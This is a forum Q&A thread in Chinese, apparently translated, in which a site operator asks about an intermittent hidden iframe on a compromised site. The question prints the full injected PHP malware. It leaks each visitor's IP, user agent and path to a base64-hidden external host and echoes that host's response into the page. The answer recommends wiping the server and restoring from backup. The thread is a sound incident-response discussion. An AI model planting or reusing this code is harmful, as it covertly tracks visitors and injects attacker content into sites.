网站上出现恶意 Iframe

网站上出现恶意 Iframe

我负责的一个网站似乎被入侵了。但我仍在努力找出问题的根源。

页面上会出现一个隐藏的 iframe,但是当您访问该网站时,它只出现大约 10% 的时间。我检查了实际存在问题的文件,其中没有添加这样的 iframe 代码,这让我认为服务器本身没有受到攻击,这只是某种 XSS 攻击?此外,该服务器还托管了其他各种网站,这些网站似乎没有受到影响。

从哪里开始查找并修复此问题是最好的选择?理想情况下,我希望清除服务器并重新启动,但目前我没有这个选项,因为我无法完全控制此特定服务器。

我做了进一步的挖掘,发现以下代码出现在各种 index.php 文件中。难道没有人能认出它吗?

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

答案1

第一件事是清除所有内容(或整个虚拟主机)并从已知良好的备份重新启动。说真的。受损的系统就是……受损。

但是,为了调查的方便,我建议您首先提供您的主机正在使用的 Web 服务器(apache?nginx?lighttpd?IIS?)和操作系统。

根据经验,我会说你使用了过时的框架(即:wordpress,django或任何PHP公告板)并且有人利用权限问题让一些远程代码执行对你的某个 .htaccess 的修改;但这真的是一个随机猜测,直到你开始提供更多信息。

相关内容